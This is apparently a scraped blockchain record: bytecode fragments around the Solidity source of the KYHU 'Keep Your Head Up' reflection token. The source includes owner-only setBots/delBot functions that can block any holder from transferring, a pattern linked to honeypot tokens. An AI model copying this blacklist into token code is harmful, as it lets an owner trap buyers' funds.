d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f12eab25c1f3fd280ec30a5403420b677293d135647ab2c61cc1f98d1dcfe4b664736f6c63430006060033
{"success": true, "error": null, "results": {}}
5,050
0xdff59b21997aab43b636466124952478d59feadb
/** Keep your head up ////\\\\ | | @ O O @ | ~ | \__ \ -- / |\ | ___| |___ | \| / \ /|__| / \ / / / /| . . |\ \ / / / / | | \ \/ / < < | | \ / \ \ | . | \_/ \ \|______| \_|______| | | | | | | | | |__|___| | | | ( ( | | | | | | | _| | | C__Cccc___) **/ /** // SPDX-License-Identifier: Unlicensed **/ pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function approve(address to, uint value) external returns (bool); } contract KYHU is Context, IERC20, Ownable { string private constant _name = unicode"Keep Your Head Up"; string private constant _symbol = "KYHU"; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping(address => uint256)) private _allowances; mapping (address => bool) private bots; mapping (address => uint) private cooldown; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; IUniswapV2Router02 private uniswapV2Router; address[] private _excluded; address private c; address private wallet1; address private uniswapV2Pair; address private WETH; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee; uint256 private _LiquidityFee; uint64 private buyCounter; uint8 private constant _decimals = 9; uint16 private maxTx; bool private tradingOpen; bool private inSwap; bool private swapEnabled; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable _wallet1) { c = address(this); wallet1 = _wallet1; _rOwned[c] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[c] = true; _isExcludedFromFee[wallet1] = true; excludeFromReward(owner()); excludeFromReward(c); excludeFromReward(wallet1); emit Transfer(address(0),c,_tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()] - amount); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function nofees() private { _taxFee = 0; _LiquidityFee = 0; } function basefees() private { _taxFee = 0; _LiquidityFee = 10; //2% goes back into liquidity, so should be seen as 8% } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); basefees(); if (from != owner() && to != owner() && tradingOpen) { if (!inSwap) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !inSwap) { if (buyCounter < 100) require(amount <= _tTotal * maxTx / 1000); buyCounter++; } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && !inSwap) { if (swapEnabled) { uint256 contractTokenBalance = balanceOf(c); if (contractTokenBalance > balanceOf(uniswapV2Pair) * 1 / 10000) { swapAndLiquify(contractTokenBalance); } } } if (!inSwap) { if (buyCounter == 10) maxTx = 30; //3% if (buyCounter == 15) maxTx = 50; //5% if (buyCounter == 20) { maxTx = 1000; //100% } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || inSwap) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 fifth = contractTokenBalance / 5; uint256 fourfifth = contractTokenBalance - fifth; swapTokensForEth(fourfifth); uint256 balance = c.balance / 5; sendETHToFee(balance*4); addLiquidity(fifth, balance); emit SwapAndLiquify(fourfifth, balance*4, fifth); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(c, address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( c, tokenAmount, 0, 0, owner(), block.timestamp ); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = c; path[1] = WETH; _approve(c, address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, c, block.timestamp); } function sendETHToFee(uint256 ETHamount) private { payable(wallet1).transfer(ETHamount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = uniswapV2Router.WETH(); _approve(c, address(uniswapV2Router), ~uint256(0)); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(c, WETH); uniswapV2Router.addLiquidityETH{value: c.balance}(c,balanceOf(c),0,0,owner(),block.timestamp); maxTx = 20; // IERC20(uniswapV2Pair).approve(address(uniswapV2Router),~uint256(0)); tradingOpen = true; swapEnabled = true; } function manualswap() external { uint256 contractBalance = balanceOf(c); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = c.balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) nofees(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity * currentRate; _rOwned[c] = _rOwned[c] + rLiquidity; _tOwned[c] = _tOwned[c] + tLiquidity; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount, _taxFee, _LiquidityFee); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 LiquidityFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount * taxFee / 100; uint256 tLiquidity = tAmount * LiquidityFee / 100; uint256 tTransferAmount = tAmount - tFee - tLiquidity; return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rLiquidity = tLiquidity * currentRate; uint256 rTransferAmount = rAmount - rFee - rLiquidity; return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function excludeFromReward(address addr) internal { require(addr != address(uniswapV2Router), 'ERR: Can\'t exclude Uniswap router'); require(!_isExcluded[addr], "Account is already excluded"); if(_rOwned[addr] > 0) { _tOwned[addr] = tokenFromReflection(_rOwned[addr]); } _isExcluded[addr] = true; _excluded.push(addr); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a14610325578063c3c8cd801461034e578063c9567bf914610365578063dd62ed3e1461037c576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063273123b7116100c6578063273123b7146101d3578063313ce567146101fc5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b60405161012591906139a6565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190613593565b6103f6565b604051610162919061398b565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190613ac8565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190613540565b610423565b6040516101ca919061398b565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f591906134a6565b6104db565b005b34801561020857600080fd5b506102116105cb565b60405161021e9190613b74565b60405180910390f35b34801561023357600080fd5b5061023c6105d4565b005b34801561024a57600080fd5b50610265600480360381019061026091906134a6565b61061e565b6040516102729190613ac8565b60405180910390f35b34801561028757600080fd5b50610290610709565b005b34801561029e57600080fd5b506102a761085c565b6040516102b491906138bd565b60405180910390f35b3480156102c957600080fd5b506102d2610885565b6040516102df91906139a6565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190613593565b6108c2565b60405161031c919061398b565b60405180910390f35b34801561033157600080fd5b5061034c600480360381019061034791906135d3565b6108e0565b005b34801561035a57600080fd5b50610363610a0a565b005b34801561037157600080fd5b5061037a610a45565b005b34801561038857600080fd5b506103a3600480360381019061039e9190613500565b6110d2565b6040516103b09190613ac8565b60405180910390f35b60606040518060400160405280601181526020017f4b65657020596f75722048656164205570000000000000000000000000000000815250905090565b600061040a610403611159565b8484611161565b6001905092915050565b600066038d7ea4c68000905090565b600061043084848461132c565b6104d08461043c611159565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610486611159565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104cb9190613d16565b611161565b600190509392505050565b6104e3611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056790613a08565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905061061b81611caf565b50565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156106b957600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610704565b610701600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1b565b90505b919050565b610711611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079590613a08565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4b59485500000000000000000000000000000000000000000000000000000000815250905090565b60006108d66108cf611159565b848461132c565b6001905092915050565b6108e8611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c90613a08565b60405180910390fd5b60005b8151811015610a065760016004600084848151811061099a57610999613f01565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109fe90613e29565b915050610978565b5050565b6000610a37600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b9050610a4281611d82565b50565b610a4d611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad190613a08565b60405180910390fd5b6012600a9054906101000a900460ff1615610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2190613a88565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610be757600080fd5b505afa158015610bfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1f91906134d3565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb0600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1857600080fd5b505afa158015610d2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5091906134d3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401610dce9291906138d8565b602060405180830381600087803b158015610de857600080fd5b505af1158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2091906134d3565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f26600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b600080610f3161085c565b426040518863ffffffff1660e01b8152600401610f539695949392919061392a565b6060604051808303818588803b158015610f6c57600080fd5b505af1158015610f80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fa59190613649565b5050506014601260086101000a81548161ffff021916908361ffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b8152600401611047929190613901565b602060405180830381600087803b15801561106157600080fd5b505af1158015611075573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611099919061361c565b5060016012600a6101000a81548160ff02191690831515021790555060016012600c6101000a81548160ff021916908315150217905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613a68565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611241576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611238906139e8565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161131f9190613ac8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561139c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139390613a48565b60405180910390fd5b600081116113df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d690613a28565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114835750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61148c57600080fd5b611494611fbd565b61149c61085c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561150a57506114da61085c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561152257506012600a9054906101000a900460ff165b15611bd5576012600b9054906101000a900460ff16611754573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115a357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115fd5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116575750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561175357600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661169d611159565b73ffffffffffffffffffffffffffffffffffffffff1614806117135750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116fb611159565b73ffffffffffffffffffffffffffffffffffffffff16145b611752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174990613aa8565b60405180910390fd5b5b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117ff5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118555750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186e57506012600b9054906101000a900460ff16155b1561192b576064601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff1610156118dd576103e8601260089054906101000a900461ffff1661ffff1666038d7ea4c680006118c69190613cbc565b6118d09190613c8b565b8111156118dc57600080fd5b5b6012600081819054906101000a900467ffffffffffffffff168092919061190390613e72565b91906101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119d65750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a2c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a4557506012600b9054906101000a900460ff16155b15611ae6576012600c9054906101000a900460ff1615611ae5576000611a8c600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b90506127106001611abe600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b611ac89190613cbc565b611ad29190613c8b565b811115611ae357611ae281611fcf565b5b505b5b6012600b9054906101000a900460ff16611bd457600a601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b4257601e601260086101000a81548161ffff021916908361ffff1602179055505b600f601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b8a576032601260086101000a81548161ffff021916908361ffff1602179055505b6014601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611bd3576103e8601260086101000a81548161ffff021916908361ffff1602179055505b5b5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c7c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c9357506012600b9054906101000a900460ff165b15611c9d57600090505b611ca9848484846120e5565b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d17573d6000803e3d6000fd5b5050565b6000600e54821115611d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d59906139c8565b60405180910390fd5b6000611d6c61232e565b90508083611d7a9190613c8b565b915050919050565b6000600267ffffffffffffffff811115611d9f57611d9e613f30565b5b604051908082528060200260200182016040528015611dcd5781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110611e0757611e06613f01565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110611e7857611e77613f01565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f01600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611f87959493929190613ae3565b600060405180830381600087803b158015611fa157600080fd5b505af1158015611fb5573d6000803e3d6000fd5b505050505050565b6000601081905550600a601181905550565b60016012600b6101000a81548160ff0219169083151502179055506000600582611ff99190613c8b565b9050600081836120099190613d16565b905061201481611d82565b60006005600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163161205c9190613c8b565b905061207360048261206e9190613cbc565b611caf565b61207d8382612352565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561826004836120ac9190613cbc565b856040516120bc93929190613b3d565b60405180910390a150505060006012600b6101000a81548160ff02191690831515021790555050565b806120f3576120f261248a565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121965750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121ab576121a684848461249c565b612328565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561224e5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122635761225e8484846126e7565b612327565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123055750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561231a57612315848484612932565b612326565b612325848484612c0b565b5b5b5b50505050565b600080600061233b612dc8565b91509150808261234b9190613c8b565b9250505090565b6123a1600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168560008061240f61085c565b426040518863ffffffff1660e01b81526004016124319695949392919061392a565b6060604051808303818588803b15801561244a57600080fd5b505af115801561245e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906124839190613649565b5050505050565b60006010819055506000601181905550565b6000806000806000806124ae8761307a565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461